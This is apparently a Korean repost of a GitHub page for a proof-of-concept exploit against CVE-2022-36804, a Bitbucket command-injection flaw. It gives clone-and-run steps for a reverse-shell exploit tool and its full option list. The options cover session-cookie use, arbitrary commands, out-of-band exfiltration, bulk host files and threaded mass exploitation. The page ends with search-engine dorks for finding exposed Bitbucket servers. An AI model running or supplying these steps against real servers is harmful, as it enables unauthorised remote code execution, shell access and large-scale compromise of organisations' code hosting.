
CVE-2022-36804 (BitBucket 중요 명령 주입)에 대한 PoC 익스플로잇
https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit
CVE-2022-36804 (BitBucket Critical Command Injection)에 대한 다소 신뢰할 수 있는 PoC 익스플로잇입니다. 이 공격은 일반적으로 공개 저장소가 활성화되어 있어야 하지만, 세션 쿠키도 이 익스플로잇과 호환됩니다. 참고: 이 익스플로잇에는 자동 저장소 감지 기능이 포함되어 있어 직접 공개 저장소를 수동으로 찾고 싶지 않은 경우 유용합니다.
git clone https://github.com/Chocapikk/CVE-2022-36804-ReverseShell.git;
cd CVE-2022-36804-ReverseShell
python3 -m pip install -r requirements.txt
python3 main.py --server [target]
usage: main.py [-h] [--server SERVER] [--project PROJECT] [--repo REPO] [--skip-auto]
[--session SESSION] [--command CMD] [--file FILE] [--output OUTPUT]
[--lhost LHOST] [--lport LPORT] [--threads THREADS]
Exploit BitBucket Instances (< v8.3.1) using CVE-2022-36804. Exploits automagically
without any extra parameters, but allows for custom settings as well.
options:
-h, --help show this help message and exit
--server SERVER Host to attack
--project PROJECT The name of the project the repository resides in
--repo REPO The name of the repository
--skip-auto Skip the automatic finding of exploitable repos
--session SESSION Value of 'BITBUCKETSESSIONID' cookie, useful if target repo is
private
--command CMD Command to execute if exploit is successful (Note: getting output
isn't reliable so OOB exfil is a must)
--file FILE File to scan bulk hosts
--output OUTPUT Output file for the session
--lhost LHOST Your Local Host for reverse shell
--lport LPORT Your Local Port for reverse shell
--threads THREADS Threads for mass exploitation
app:"Bitbucket" +banner:"repos?visibility=public"
app:"Bitbucket" +title:"public"
app:"Bitbucket"
iconhash:667017222